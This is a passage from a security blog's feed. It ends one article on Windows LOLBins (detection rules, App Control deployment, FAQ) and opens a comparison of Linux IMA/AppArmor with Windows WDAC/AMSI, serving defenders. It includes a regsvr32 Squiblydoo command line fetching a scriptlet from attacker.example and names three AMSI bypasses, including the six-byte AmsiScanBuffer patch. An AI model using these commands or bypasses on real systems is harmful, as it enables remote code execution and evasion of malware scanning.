  { name: &apos;Workflow.Compiler chain&apos;,parent: /.*/i, child: /(microsoft\.workflow\.compiler|wfc)\.exe$/i, args: /.+/i },
  { name: &apos;Rundll32 COM&apos;,           parent: /(cmd|powershell|wscript|cscript|winword|excel)\.exe$/i, child: /rundll32\.exe$/i, args: /(javascript:|url\.dll,fileprotocolhandler|shell32\.dll,shellexec_rundll)/i }
];&lt;/p&gt;
&lt;p&gt;function evaluate(event) {
  const matches = [];
  for (const r of RULES) {
    if (r.parent.test(event.parentImage || &apos;&apos;) &amp;amp;&amp;amp;
        r.child.test(event.image || &apos;&apos;) &amp;amp;&amp;amp;
        r.args.test(event.commandLine || &apos;&apos;)) {
      matches.push(r.name);
    }
  }
  return matches;
}&lt;/p&gt;
&lt;p&gt;const event = {
  parentImage: &apos;C:\\Windows\\System32\\cmd.exe&apos;,
  image:       &apos;C:\\Windows\\System32\\regsvr32.exe&apos;,
  commandLine: &apos;regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll&apos;
};
console.log(&apos;Matched rules:&apos;, evaluate(event));
`}&lt;/p&gt;

For organizations operating under FedRAMP High or CMMC L3, the App Control for Business deployment is not optional. The controls that map to NIST SP 800-53 Rev. 5 controls AC-3 (access enforcement) and CM-7 (least functionality) [@nist-800-53-r5] effectively require a kernel-enforced application allow-list, and the Recommended Block Rules deny list is the published Microsoft baseline. The deployment work in step 1 of the playbook is therefore a compliance prerequisite as well as a security control.

After deploying an App Control policy in audit mode, validate that the policy is loaded with `CiTool.exe -lp` on Windows 11 22H2+. Audit-mode block events appear in the *Microsoft-Windows-CodeIntegrity/Operational* event log as Event ID 3076 (would-block) and *AppLocker/MSI and Script* event log as Event ID 8003 (audit). Run a known-benign workflow for two weeks and review the would-block events before flipping the policy to enforce.
&lt;p&gt;The playbook covers the controls Microsoft and the community ship today. The final pass is the set of misconceptions that survive even after the playbook: the FAQ.&lt;/p&gt;
&lt;h2&gt;12. Frequently Asked Questions and Closing&lt;/h2&gt;
&lt;p&gt;The structural argument leaves a small number of recurring questions that even an experienced Windows defender asks the first time they read the LOLBAS catalog end to end. The seven below are the ones that matter most.&lt;/p&gt;

No. An Authenticode signature is immutable per signed file: once a file is signed and shipped, the signature travels with the bytes forever. Revocation does not work by removing the signature. It works by adding the binary to a deny list that the loader checks alongside the signature. That deny list is the App Control Recommended Block Rules XML [@ms-bypass-rules]. There is no global mechanism by which Microsoft can retroactively &quot;unsign&quot; a binary that already exists on customer disks, because the binary&apos;s bytes have not changed.

Because PowerShell Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), and module logging (Event ID 4103) [@ms-ps-logging] together constitute Microsoft&apos;s specific answer for PowerShell. The strategy is *instrument deeply, do not deny*. For the rest of the LOLBin catalog the strategy is *deny when feasible, detect otherwise*. The choice is made one binary at a time; no published Microsoft criterion explains when each applies. PowerShell is the only Microsoft-shipped example of the *instrument* strategy applied at full depth.

Partially, and only on eligible endpoints (clean-installed Windows 11 22H2 or later, with sufficient device telemetry to keep SAC in *enforce* mode). SAC explicitly delegates LOLBin handling to the App Control Recommended Block Rules deny list -- the Microsoft Learn SAC overview page contains the verbatim sentence pointing administrators at *Application Control for Windows* for the LOLBin list [@ms-sac-overview]. SAC&apos;s enforcement model is reputation-and-AI, not deny-list. It silently disables itself on insufficient signal. Until recently the only fix was to reinstall Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support], but the silent disable itself remains (see Section 10).

Yes. As of May 26, 2026, the repository is receiving regular pull requests, has 8,567 stars and 1,135 forks per the GitHub API [@lolbas-org-api], and the editorial maintainers (Moe, Bayne, Richard, Spehn, Somerville, Beukema, Hernandez) are actively reviewing submissions. The catalog has grown from 130 binaries at the original 2018 founding to 207 in the May 2026 enumeration. New entries arrive every few weeks.

Yes. The LOLDrivers project at `loldrivers.io` [@loldrivers] catalogs vulnerable signed kernel drivers -- the driver-class analogue of LOLBAS. Microsoft&apos;s own Vulnerable Driver Blocklist is enabled by default when HVCI, Smart App Control, or S mode is active [@ms-driver-blocklist]. GTFOBins at `gtfobins.github.io` [@gtfobins] is the Unix analogue, cataloging vendor-shipped utilities on Linux and BSD with attacker-useful side effects. The three projects share the same conceptual move applied to different trust surfaces.

No. The LOLBAS README itself attributes the project&apos;s foundational talk to Oddvar Moe&apos;s *#LOLBins -- Nothing to LOL about!* at DerbyCon 8 in October 2018 [@youtube-moe-lolbins] [@derbycon8-moe]. The 2017 BlueHat IL talk by Matt Graeber and Casey Smith [@bluehat-il-mirror] is one earlier intellectual ancestor, and the canonical *misplaced trust* framing was named the following year in Matt Graeber and Lee Christensen&apos;s *Subverting Trust in Windows* at TROOPERS 2018 [@specterops-subverting-trust]; both predate the LOLBAS catalog and neither is the project&apos;s founding event. Several secondary sources conflate the talks; the primary attribution chain is the LOLBAS README.

Merge the App Control Recommended Block Rules XML into a managed App Control base policy and roll it out in audit mode for two to four weeks before flipping to enforce [@ms-bypass-rules]. The audit-mode telemetry surfaces the legitimate-but-rare workflows that would break under enforce; the enforce-mode policy then denies roughly 40 of the highest-impact LOLBins by default. Given the Cybereason Q3 2025 finding that 17 percent of investigations involved LOLBins [@cybereason-q3-2025], the effort pays for itself within the first quarter after deployment.
&lt;h3&gt;Closing&lt;/h3&gt;
&lt;p&gt;Every Windows binary that ships with a Microsoft signature is a LOLBin candidate, because the &lt;em&gt;signature&lt;/em&gt; trust axis is orthogonal to the &lt;em&gt;behavior&lt;/em&gt; trust axis. That gap was designed into Authenticode in 1996, inherited by AppLocker in 2009, made unignorable by Casey Smith&apos;s Squiblydoo in 2016, catalogued by Oddvar Moe and the LOLBAS maintainers starting in 2018, and partially fenced off by Microsoft&apos;s App Control Recommended Block Rules between 2017 and 2024. The class will be there when the next reader of this article shows up. Closing it would require either rebuilding the Windows system-administration model or attaching behavioral capability descriptions to every signed Microsoft binary on disk. Microsoft has published no roadmap for either, and the installed base could not absorb either without breaking decades of administrative tooling.&lt;/p&gt;
&lt;p&gt;The honest defender&apos;s posture is therefore not to ask &lt;em&gt;when will Microsoft fix this?&lt;/em&gt; but &lt;em&gt;how thin can the layered SOTA make the residual?&lt;/em&gt;. The answer in 2026 is &lt;em&gt;thinner than it was in 2016, but the gap between LOLBAS and the Recommended Block Rules (Section 8) is not going to close&lt;/em&gt;. Subscribe to the LOLBAS repository [@lolbas-github]. Bookmark the Recommended Block Rules page [@ms-bypass-rules]. Treat the next entry the catalog ships as a detection-engineering task to schedule, not a Microsoft bug to wait on.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;living-off-the-land-on-windows&quot; keyTerms={[
  { term: &quot;LOLBin&quot;, definition: &quot;Living-Off-the-Land Binary: a Microsoft-signed Windows executable with attacker-useful primitives, catalogued in LOLBAS.&quot; },
  { term: &quot;Authenticode&quot;, definition: &quot;Microsoft&apos;s 1996 code-signing scheme. Answers who signed a binary; does not characterize runtime behavior.&quot; },
  { term: &quot;AppLocker&quot;, definition: &quot;Windows 7 application-allow-list with publisher/path/hash rules. Default rule admits Microsoft-signed binaries; superseded by App Control for Business.&quot; },
  { term: &quot;App Control for Business&quot;, definition: &quot;Kernel-mode application-control system formerly known as WDAC. Ships with Windows 10 1709+.&quot; },
  { term: &quot;Smart App Control&quot;, definition: &quot;Windows 11 22H2+ reputation-based application gate. Silently disables itself on insufficient signal; defers LOLBins to the App Control deny list.&quot; },
  { term: &quot;Recommended Block Rules&quot;, definition: &quot;Microsoft-curated XML deny list of ~40 binaries shipped via Microsoft Learn. The shipping deny-list mechanism for individual LOLBins.&quot; },
  { term: &quot;Squiblydoo&quot;, definition: &quot;Casey Smith&apos;s April 19, 2016 regsvr32 abuse using the /i:URL switch to fetch and execute a remote .sct scriptlet. Tracked as MITRE T1218.010.&quot; },
  { term: &quot;AMSI&quot;, definition: &quot;Antimalware Scan Interface (Windows 10 1507+). In-process script-content inspection for PowerShell, JScript, VBScript, and .NET.&quot; },
  { term: &quot;Constrained Language Mode&quot;, definition: &quot;A PowerShell execution mode that restricts the language surface to a safe subset. Enforced automatically when App Control is in enforce on the script file&apos;s location.&quot; },
  { term: &quot;HVCI&quot;, definition: &quot;Hypervisor-protected Code Integrity. Hardware-virtualization-enforced kernel CI; activates the Microsoft Vulnerable Driver Blocklist by default.&quot; },
  { term: &quot;MITRE T1218&quot;, definition: &quot;System Binary Proxy Execution. The MITRE ATT&amp;amp;CK technique node for the LOLBin family; sub-techniques include .004 InstallUtil, .005 Mshta, .010 Regsvr32, .011 Rundll32.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-security</category><category>lolbins</category><category>app-control</category><category>authenticode</category><category>detection-engineering</category><category>wdac</category><category>smart-app-control</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Two Routes to Code Integrity: Linux IMA + AppArmor vs Windows WDAC + AMSI</title><link>https://paragmali.com/blog/two-routes-to-code-integrity-linux-ima--apparmor-vs-windows-/</link><guid isPermaLink="true">https://paragmali.com/blog/two-routes-to-code-integrity-linux-ima--apparmor-vs-windows-/</guid><description>Linux and Windows answer one question -- &quot;is this code allowed to run?&quot; -- with very different machinery. Where the verifier lives matters more than how strong it is.</description><pubDate>Sat, 16 May 2026 00:00:00 GMT</pubDate><content:encoded>
Linux and Windows have spent fifteen years answering the same question -- &quot;is this code allowed to run?&quot; -- and arrived at radically different architectures. Linux composes half a dozen narrow kernel modules (IMA, EVM, AppArmor, SELinux, fs-verity, IPE) plus a userspace daemon (`fapolicyd`); Windows ships one integrated suite (App Control + HVCI + AMSI + Smart App Control). Both stacks shipped their v1 with the **check in the wrong place**, and the architectural pivots that fixed it -- EVM&apos;s HMAC-sealed xattrs, HVCI&apos;s hypervisor-isolated verifier, IPE&apos;s property-based decisions -- are the breakthrough lesson of this comparison. Crypto is solved. Trust-boundary protection and policy expressiveness are not, and Rice&apos;s theorem says they never fully will be.
&lt;h2&gt;1. Two bypasses, same architectural shape&lt;/h2&gt;
&lt;p&gt;On a Windows 11 desktop, an attacker with a PowerShell session under their control can blind Microsoft Defender to every script that session ever evaluates by overwriting six bytes inside one function in &lt;code&gt;amsi.dll&lt;/code&gt;. The &lt;a href=&quot;https://paragmali.com/blog/amsi-the-pre-execution-window-defender/&quot; rel=&quot;noopener&quot;&gt;Antimalware Scan Interface&lt;/a&gt;, the in-process bridge between scripting hosts and the registered antivirus product, dutifully reports &quot;clean&quot; on every subsequent buffer because the prologue of &lt;code&gt;AmsiScanBuffer&lt;/code&gt; has been patched to &lt;code&gt;mov eax, 0; ret&lt;/code&gt; (&lt;code&gt;B8 00 00 00 00 C3&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The interface ships exactly as Microsoft documents it, and the function still has the signature in MSDN [@learn-microsoft-com-amsi-amsiscanbuffer]: the attacker did not need to break anything. They needed only to write into the address space they already owned.&lt;/p&gt;
&lt;p&gt;On a Linux server, a different attacker with offline access to the disk -- recovered from a stolen laptop, a forensics image, a hostile cloud-provider snapshot -- mounts the filesystem and rewrites a system binary together with the file&apos;s &lt;code&gt;security.ima&lt;/code&gt; extended attribute. When the box boots, the kernel&apos;s Integrity Measurement Architecture hashes the binary at exec time, compares the hash to the value stored in &lt;code&gt;security.ima&lt;/code&gt;, sees a match, and allows execution. Without the Extended Verification Module, IMA appraisal has no defence against this offline-rewrite attack [@lwn-net-articles-394170] -- the reference hash is sitting next to the file the attacker just replaced.&lt;/p&gt;
&lt;p&gt;Both operating systems claim fail-closed code-integrity enforcement. Both lose to a single architectural mistake about &lt;strong&gt;where the check runs&lt;/strong&gt;. The mistakes are different in detail and identical in shape: the verifier is reachable by the attacker. On Windows the attacker shares the script host&apos;s address space with the scanner. On Linux the attacker shares the on-disk container with the reference hash.&lt;/p&gt;
&lt;p&gt;This article exists to make that symmetry visible. The two stacks reached their 2026 form by very different routes -- Linux composes six narrow Linux Security Modules and one userspace daemon, Windows ships one tightly-coupled product line -- but the breakthroughs on each side answered the same question: how do you move the verifier out of reach?&lt;/p&gt;
&lt;p&gt;The Linux answer was EVM (HMAC the extended attributes that IMA depends on) and IPE (decide on immutable file properties rather than file contents). The Windows answer was HVCI (lift the kernel-mode code-integrity check into a hypervisor-isolated secure kernel). The names are different. The lesson is one.&lt;/p&gt;
&lt;p&gt;Why did Linux and Windows arrive at such different architectures in the first place? That story starts in an IBM research lab in 2003.&lt;/p&gt;
&lt;h2&gt;2. The question both operating systems are trying to answer&lt;/h2&gt;
&lt;p&gt;Both lineages exist to answer one question -- &quot;is this code allowed to run?&quot; -- but they put the check in completely different places. Before we can compare them honestly, we need a shared vocabulary for the three layers any production code-integrity stack must cover.&lt;/p&gt;
&lt;p&gt;The first layer is &lt;strong&gt;code integrity&lt;/strong&gt; itself, often abbreviated CI: a gate on the file&apos;s content or its signer. Did this &lt;code&gt;.so&lt;/code&gt; come from a package my distribution signed? Does this &lt;code&gt;.exe&lt;/code&gt; match an &lt;a href=&quot;https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/&quot; rel=&quot;noopener&quot;&gt;Authenticode chain&lt;/a&gt; rooted in a publisher my policy trusts? The answer is binary. The hook fires before the process loads the bytes.&lt;/p&gt;
&lt;p&gt;The second layer is &lt;strong&gt;mandatory access control&lt;/strong&gt;, or MAC. Now the process is running. What can it do? Can &lt;code&gt;nginx&lt;/code&gt; open &lt;code&gt;/etc/shadow&lt;/code&gt;? Can &lt;code&gt;mshta.exe&lt;/code&gt; spawn &lt;code&gt;cmd.exe&lt;/code&gt;? MAC is enforced by the kernel above discretionary access control and cannot be overridden by userspace privileges.&lt;/p&gt;

A kernel-enforced policy layer above traditional discretionary access control (DAC). Unlike DAC, where the file owner sets permissions, MAC policy is set by the system administrator and applied uniformly to all processes; no user, including root, can override it without changing the policy itself.
&lt;p&gt;The third layer is &lt;strong&gt;content inspection&lt;/strong&gt;: gating not on the file but on the buffer the interpreter is about to evaluate. The PowerShell engine has just deobfuscated a long string into a script block. Is the script block malicious? Linux has no production equivalent. Windows ships AMSI [@learn-microsoft-com-interface-portal] for exactly this.&lt;/p&gt;
&lt;p&gt;Where each operating system puts these checks tells you almost everything about its architectural philosophy.&lt;/p&gt;
&lt;p&gt;Linux puts every check on a Linux Security Module hook [@kernel-org-security-lsmhtml]. IMA registers at &lt;code&gt;bprm_check&lt;/code&gt; (the kernel hook that fires when a binary is about to be executed), &lt;code&gt;file_mmap&lt;/code&gt; with &lt;code&gt;MAY_EXEC&lt;/code&gt;, &lt;code&gt;module_check&lt;/code&gt;, &lt;code&gt;firmware_check&lt;/code&gt;, and &lt;code&gt;kexec_*&lt;/code&gt;. AppArmor and SELinux register at the syscall-level access hooks. &lt;code&gt;fapolicyd&lt;/code&gt; rides on top of &lt;code&gt;fanotify&lt;/code&gt;. IPE hooks &lt;code&gt;op=EXECUTE&lt;/code&gt;. The kernel is the trust boundary, and every mechanism is a polite tenant inside it.&lt;/p&gt;

The kernel framework, merged into Linux 2.6.0 in December 2003, that hosts pluggable security modules at well-defined hook points in the kernel. LSMs include SELinux, AppArmor, Smack, Tomoyo, IMA, EVM, IPE, BPF LSM, and Landlock; multiple modules can coexist via &quot;LSM stacking&quot;.
&lt;p&gt;Windows takes the opposite path. The PE loader is the gate for user-mode code integrity (UMCI). The kernel-mode code-integrity check is, in the modern stack, moved out of the normal kernel into a small secure kernel running on top of Hyper-V -- Hypervisor-protected Code Integrity, HVCI [@learn-microsoft-com-code-integrity]. The script broker runs in-process with each scripting host. Cloud reputation is consulted via the Intelligent Security Graph and exposed to consumers as &lt;a href=&quot;https://paragmali.com/blog/mark-of-the-web-smartscreen-catalog-of-trust/&quot; rel=&quot;noopener&quot;&gt;Smart App Control&lt;/a&gt;.&lt;/p&gt;

A monotonically extendable hash register inside a Trusted Platform Module. New measurements are folded in with `PCR_new = SHA256(PCR_old || measurement)`. Once extended, the value cannot be rolled back without resetting the TPM. IMA extends file-content hashes into PCR 10; the Windows Measured Boot chain uses PCRs 0-7 and 11-14.
&lt;p&gt;The architectural philosophy comes down to a sentence each. Linux trusts the &lt;strong&gt;kernel surface&lt;/strong&gt; and packs every integrity mechanism into it as a separate LSM. Windows trusts a &lt;strong&gt;hypervisor-isolated secure kernel&lt;/strong&gt; and uses it to host the integrity logic the normal kernel cannot be trusted to run honestly.&lt;/p&gt;

flowchart LR
  subgraph CI[Code integrity: gate on file content or signer]
    direction TB
    L_IMA[Linux: IMA + EVM]
    L_IPE[Linux: IPE]
    L_FSV[Linux: fs-verity]
    L_FAP[Linux: fapolicyd]
    W_WDAC[Windows: App Control / WDAC]
    W_HVCI[Windows: HVCI / Memory Integrity]
    W_SAC[Windows: Smart App Control]
  end
  subgraph MAC[Mandatory access control: gate on running process behaviour]
    direction TB
    L_AA[Linux: AppArmor]
    L_SE[Linux: SELinux]
    W_NONE[Windows: no direct analogue, closest is AppContainer / ASR]
  end
  subgraph CS[Content inspection: gate on the buffer the interpreter will evaluate]
    direction TB
    W_AMSI[Windows: AMSI]
    L_GAP[Linux: no production equivalent]
  end
  CI --&amp;gt; MAC --&amp;gt; CS
&lt;p&gt;Neither stack started this way. The 2026 stack on each side is the accumulated answer to fifteen years of failures. Here is how they grew up.&lt;/p&gt;
&lt;h2&gt;3. Two genesis stories&lt;/h2&gt;
&lt;p&gt;In 2003, four IBM researchers at the T. J. Watson Research Center -- Reiner Sailer, Xiaolan Zhang, Trent Jaeger, and Leendert van Doorn -- tried to convince the USENIX Security community that you could prove the integrity of a Linux web server to a remote verifier. Their paper, &lt;em&gt;Design and Implementation of a TCG-based Integrity Measurement Architecture&lt;/em&gt; [@usenix-org-tech-sailerhtml], shipped at the 13th USENIX Security Symposium in 2004. It proposed hashing every executable file at load time, extending each hash into a &lt;a href=&quot;https://paragmali.com/blog/the-tpm-in-windows-one-primitive-twenty-five-years-and-the-c/&quot; rel=&quot;noopener&quot;&gt;TPM platform configuration register&lt;/a&gt;, and sending the resulting measurement list to a remote verifier who could compare it to a known-good manifest.&lt;/p&gt;
&lt;p&gt;The performance evaluation [@usenix-org-sailerhtml-node19html] measured the cost on an IBM Netvista with a 2.4 GHz Pentium 4: the &lt;code&gt;file_mmap&lt;/code&gt; LSM hook added 0.08 microseconds per call on a cache hit, and SHA-1 fingerprinting ran at roughly 80 MB/s. The headline claim was that more than 99.9% of measure calls landed on the cached path, so the overhead was essentially free.Pentium 4-era SHA-1 at 80 MB/s vs Ice Lake-era SHA-NI-accelerated SHA-256 at roughly 2 GB/s per core: a 25x throughput jump in twenty years. The original paper&apos;s qualitative finding -- cache hit dominates, overhead is negligible -- holds even more strongly on modern silicon.&lt;/p&gt;
&lt;p&gt;It took five years for that proposal to reach the kernel. IMA&apos;s measurement-only mode was merged in Linux 2.6.30 in June 2009. It hashed files at &lt;code&gt;bprm_check&lt;/code&gt;, &lt;code&gt;file_mmap&lt;/code&gt;, and &lt;code&gt;module_check&lt;/code&gt;, extended TPM PCR 10, and otherwise let everything run.&lt;/p&gt;
&lt;p&gt;The &quot;is this hash allowed?&quot; question would have to wait three more years. The Extended Verification Module landed in Linux 3.2 in January 2012; digital-signature mode for EVM followed in 3.3 in March 2012; and IMA-appraise, the enforcement extension that finally let the kernel return &lt;code&gt;-EPERM&lt;/code&gt; when a file&apos;s hash did not match &lt;code&gt;security.ima&lt;/code&gt;, merged in Linux 3.7 in December 2012 [@lwn-net-articles-488906]. The same LWN article frames the cadence plainly: &quot;Much of IMA was added to the kernel in 2.6.30, but another piece, the extended verification module (EVM) was not merged until 3.2 ... Digital signature support was added to EVM in 3.3, and IMA appraisal is currently under review.&quot; Mimi Zohar&apos;s appraisal patchset [@lwn-net-articles-487700] is the canonical lore.kernel.org artifact of that final step.&lt;/p&gt;
&lt;p&gt;AppArmor took a different, longer road. It was born inside Immunix in 1998 under the name &quot;SubDomain&quot;, a path-based confinement layer designed to stop privilege-escalation exploits from doing anything the binary&apos;s profile did not name. Novell acquired Immunix in 2005, renamed SubDomain to AppArmor, and shipped it as the default mandatory access control layer on SLES and openSUSE. According to the Ubuntu AppArmor wiki [@wiki-ubuntu-com-apparmor], &quot;AppArmor support was first introduced in Ubuntu 7.04, and is turned on by default in Ubuntu 7.10 and later&quot; -- so by October 2007 AppArmor was already a default-on production MAC on the most-deployed Linux desktop distribution.&lt;/p&gt;
&lt;p&gt;Mainlining did not happen until October 2010, when AppArmor finally landed in Linux 2.6.36 [@docs-kernel-org-lsm-apparmorhtml]. Seven years out of tree, three years default-on in Ubuntu, before the kernel community accepted it.&lt;/p&gt;
&lt;p&gt;The contrast with SELinux [@en-wikipedia-org-security-enhancedlinux] is sharp. SELinux merged into Linux 2.6.0 in December 2003 -- barely a year after the LSM framework was created. SELinux was, in fact, the reason the LSM framework existed.&lt;/p&gt;

SELinux&apos;s type-enforcement model maps directly to LSM&apos;s &quot;label the subject, label the object, look up the rule&quot; hook signature. AppArmor&apos;s path-based reasoning does not. LSM hooks see inodes, not paths -- and an inode can be reached from many paths (bind mounts, hard links, namespace games, chroots). To merge, AppArmor had to push kernel-side helpers like `vfs_path_lookup` and `d_absolute_path` upstream so it could reconstruct the absolute path of the object at hook time. The conceptual fight took three rejected merge attempts and seven years. The lesson is one Linux kernel reviewers have repeated since: a security model is not just an algorithm, it is a commitment to a particular kind of name-resolution semantics.
&lt;p&gt;The Windows lineage starts in a different building entirely. AppLocker shipped with Windows 7 and Windows Server 2008 R2 in 2009: a user-mode-only allowlist, with no hypervisor or kernel-mode backing, and rules tied to file paths, publishers, or hashes. AppLocker is still supported on modern Windows but &quot;isn&apos;t getting new feature improvements&quot; [@learn-microsoft-com-applocker-overview]; the modern successor is App Control for Business.&lt;/p&gt;
&lt;p&gt;Windows 10 RTM (version 1507, July 2015) shipped the first version of Device Guard along with AMSI [@learn-microsoft-com-interface-portal] and PowerShell 5.0, which integrated with AMSI from day one. Device Guard became known as Windows Defender Application Control (WDAC) and then, in 2024, was renamed once more to &lt;em&gt;App Control for Business&lt;/em&gt;. User-mode code integrity (UMCI) became a policy option, FilePath rules were added in Windows 10 version 1903 [@learn-microsoft-com-applocker-overview], multiple-policy authoring landed in the same release, and Smart App Control made its consumer debut in Windows 11 22H2 in September 2022 [@blogs-windows-com-2022-update].&lt;/p&gt;

gantt
  title Linux and Windows code-integrity timeline
  dateFormat YYYY-MM
  axisFormat %Y
  section Linux
  SELinux mainline 2.6.0    :2003-12, 12M
  AppArmor at Immunix       :1998-01, 84M
  AppArmor default in Ubuntu :2007-10, 36M
  IMA mainline 2.6.30        :2009-06, 32M
  EVM mainline 3.2           :2012-01, 2M
  EVM digital sigs 3.3       :2012-03, 9M
  IMA-appraise 3.7           :2012-12, 24M
  AppArmor mainline 2.6.36   :2010-10, 14M
  fs-verity 5.4              :2019-11, 60M
  IPE 6.12                   :2024-11, 12M
  section Windows
  AppLocker (Win 7)          :2009-10, 70M
  Device Guard + AMSI + PowerShell 5 (1507) :2015-07, 25M
  WDAC UMCI (1709)           :2017-10, 18M
  FilePath rules + multi-policy (1903) :2019-05, 24M
  HVCI broadens (Win 10 1607+) :2016-08, 60M
  Smart App Control (Win 11 22H2) :2022-09, 24M
  App Control for Business rename :2024-01, 12M
&lt;p&gt;Two timelines, two design philosophies, both shipping their v1 with the same kind of mistake. The next section makes that concrete.&lt;/p&gt;
&lt;h2&gt;4. Where the naive approach breaks&lt;/h2&gt;
&lt;p&gt;Both stacks shipped their first version with the check in the wrong place. Two stories make this concrete; two more refine it.&lt;/p&gt;
&lt;h3&gt;Story A: IMA-as-shipped (2009) without EVM&lt;/h3&gt;
&lt;p&gt;When IMA reached the kernel in Linux 2.6.30, it hashed the file at &lt;code&gt;bprm_check&lt;/code&gt; and stored the reference hash in the file&apos;s &lt;code&gt;security.ima&lt;/code&gt; extended attribute. That is what an attacker with offline disk access needs to defeat the check, and exactly nothing else. Mount the filesystem from another box, swap the binary for a malicious one, recompute the SHA over the new binary, write the new value into &lt;code&gt;security.ima&lt;/code&gt;. Boot the box. The kernel hashes the malicious binary at exec, reads the matching xattr the attacker just wrote, and lets the syscall through.&lt;/p&gt;
&lt;p&gt;This is the offline-tampering attacker model EVM was designed to defeat. The contemporaneous LWN coverage put it plainly: &quot;IMA can be subverted by &apos;offline&apos; attacks, where file data or metadata is changed out from under IMA. Mimi Zohar has proposed the extended verification module (EVM) patch set as a means to protect against these offline attacks.&quot; [@lwn-net-articles-394170]&lt;/p&gt;
&lt;p&gt;The EVM v5 patchset [@lwn-net-articles-443038], posted by Zohar in May 2011, describes the design directly: &quot;Extended Verification Module (EVM) detects offline tampering of the security extended attributes (e.g. security.selinux, security.SMACK64, security.ima) ... initial method maintains an HMAC-sha1 across a set of security extended attributes, storing the HMAC as the extended attribute &apos;security.evm&apos;.&quot;&lt;/p&gt;
&lt;h3&gt;Story B: AMSI as shipped (2015) inside the script host&lt;/h3&gt;
&lt;p&gt;AMSI&apos;s design is documented in &lt;em&gt;How AMSI helps you defend against malware&lt;/em&gt; [@learn-microsoft-com-amsi-helps]: &quot;Script (malicious or otherwise), might go through several passes of de-obfuscation. But you ultimately need to supply the scripting engine with plain, un-obfuscated code. And that&apos;s the point at which you invoke the AMSI APIs.&quot;&lt;/p&gt;
&lt;p&gt;A scripting host -- PowerShell, WSH, MSHTA, Office VBA, the UAC installer dialog -- calls &lt;code&gt;AmsiInitialize&lt;/code&gt;, then for every plain-text script buffer it is about to execute calls &lt;code&gt;AmsiScanBuffer&lt;/code&gt; [@learn-microsoft-com-amsi-amsiscanbuffer] or &lt;code&gt;AmsiScanString&lt;/code&gt;. The call is routed through &lt;code&gt;amsi.dll&lt;/code&gt;, loaded into the host process, which dispatches to the registered &lt;code&gt;IAntimalwareProvider&lt;/code&gt; COM server. Defender is the default provider.&lt;/p&gt;
&lt;p&gt;The detection logic is sound. The trust boundary is not. The attacker already controls the script host. Three single-shot bypass techniques have lived in red-team toolkits since 2016:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Patch &lt;code&gt;AmsiScanBuffer&lt;/code&gt;&apos;s prologue in memory to &lt;code&gt;mov eax, 0; ret&lt;/code&gt; (&lt;code&gt;B8 00 00 00 00 C3&lt;/code&gt;). Six bytes of opcode rewrite, no syscalls required, blinds the scanner permanently for this process.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;System.Management.Automation.AmsiUtils.amsiInitFailed = true&lt;/code&gt; via reflection. PowerShell checks the flag on every scan path and short-circuits.&lt;/li&gt;
&lt;li&gt;Unload &lt;code&gt;amsi.dll&lt;/code&gt; via &lt;code&gt;FreeLibrary&lt;/code&gt;. There is no scanner left to call.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Microsoft tracks this so closely that its own &quot;Applications that can bypass App Control&quot; [@learn-microsoft-com-bypass-appcontrol] deny list calls out the AMSI-bypass-capable versions of &lt;code&gt;system.management.automation.dll&lt;/code&gt; by hash. The defender&apos;s authoritative list of files-to-block treats specific signed Microsoft DLLs as named threats.The same Microsoft bypass list also enumerates &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;Microsoft.Build.dll&lt;/code&gt;, &lt;code&gt;windbg.exe&lt;/code&gt;, &lt;code&gt;cdb.exe&lt;/code&gt;, &lt;code&gt;kd.exe&lt;/code&gt;, &lt;code&gt;dotnet.exe&lt;/code&gt;, &lt;code&gt;csi.exe&lt;/code&gt;, &lt;code&gt;rcsi.exe&lt;/code&gt;, &lt;code&gt;addinprocess.exe&lt;/code&gt;, &lt;code&gt;wmic.exe&lt;/code&gt;, &lt;code&gt;bash.exe&lt;/code&gt;, &lt;code&gt;wsl.exe&lt;/code&gt;, &lt;code&gt;runscripthelper.exe&lt;/code&gt;, and dozens of others -- 40+ entries today, growing whenever a new Microsoft-signed binary turns out to host an attacker-friendly evaluator.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The host process making the AMSI call is the same process the attacker is running in. Any defence-in-depth plan that treats AMSI as a hard control is mis-specified. Treat AMSI as a high-quality telemetry surface feeding Defender for Endpoint and EDR pipelines; budget for the bypass.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;{`
// In Windows, AMSI scans each plain-text script buffer just before
// the scripting engine evaluates it. The scanner lives in amsi.dll,
// loaded into the script host process. The attacker who controls
// that process can rewrite the function&apos;s first few bytes.
//
// This toy model shows the consequence: once &quot;patched&quot;, the scanner
// returns CLEAN regardless of input, and the assertion below holds
// for every possible payload.&lt;/p&gt;
&lt;p&gt;const AMSI_RESULT_CLEAN = 0;
const AMSI_RESULT_MALWARE = 32768;&lt;/p&gt;
&lt;p&gt;function amsiScanBuffer(buf, patched) {
  if (patched) return AMSI_RESULT_CLEAN;
  if (buf.includes(&quot;Invoke-Mimikatz&quot;)) return AMSI_RESULT_MALWARE;
  return AMSI_RESULT_CLEAN;
}&lt;/p&gt;
&lt;p&gt;console.log(&quot;Normal mode:&quot;);
console.log(&quot;  clean payload:    &quot;, amsiScanBuffer(&quot;Get-Process&quot;, false));
console.log(&quot;  malicious payload:&quot;, amsiScanBuffer(&quot;Invoke-Mimikatz&quot;, false));&lt;/p&gt;
&lt;p&gt;console.log(&quot;\nAfter six-byte patch:&quot;);
console.log(&quot;  clean payload:    &quot;, amsiScanBuffer(&quot;Get-Process&quot;, true));
console.log(&quot;  malicious payload:&quot;, amsiScanBuffer(&quot;Invoke-Mimikatz&quot;, true));&lt;/p&gt;
&lt;p&gt;// The takeaway: no input ever produces MALWARE once the scanner is patched.
// Strengthening AMSI&apos;s signature engine cannot fix this. The scanner
